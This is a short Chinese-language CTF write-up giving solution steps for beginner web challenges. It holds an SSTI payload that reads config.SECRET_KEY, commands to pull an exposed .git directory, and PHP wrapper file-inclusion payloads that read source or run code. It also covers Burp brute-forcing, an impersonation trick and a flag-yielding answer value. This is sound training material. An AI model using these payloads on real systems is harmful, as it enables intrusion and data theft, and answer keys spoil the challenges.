一、Simple_SSTI_1
在URL使用get函数,然后提交flag{{}},{{}}括号中包括config.SECRET_KEY
二、头等舱
Bp发送到repeater然后send看返回包
三、Source
Dirsearch 扫目录
wget -r http://114.67.246.176:10491/.git
递归下载该网站目录下的文件及文件夹
git reflog
查看执行的命令日志
git show e0b8e8e
使用git show commit_id 命令查看commit,标黄色的是commit——id
四、社工-伪造
用相同的qq名字和头像跟小妹说ctf即可
五、源代码
将三段变量url解码然后拼接在一起
67d709b2b54aa2aa648cf6e87a7114f1提交后得到flag
六、文件包含
伪协议
?file=php://filter/read=convert.base64-encode/resource=xxx.php
伪协议常用的payload,包括读文件和php代码执行
1.?file=data:text/plain,<?php phpinfo()>
2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
3.?file=php://input [POST DATA:]
4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
七、好像需要密码
Bp爆破5位数 数字
八、备份是个好习惯
1.PHP ini_set用来设置php.ini的值,在函数执行的时候生效
2.strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。
3.$_SERVER['REQUEST_URI'] //URL
4.substr — 返回字符串的子串
substr(string $string, int $start, int $length = ?)
把字符串 "Hello world!" 中的字符 "world" 替换为 "Shanghai":
<?php
echo str_replace("world","Shanghai","Hello world!");
?>
5.parse_str() 函数把查询字符串解析到变量中。
存储变量到一个数组中:
<?php
parse_str("name=Peter&age=43",$myArray);
print_r($myArray);
?>
九、No one knows regex better than me
Zero是flag的base64编码
$end=substr($third,5);
End变量等于从third的第五位开始到最后
\056\160\150\x70为16进制和8进制ascii代码,php可自动识别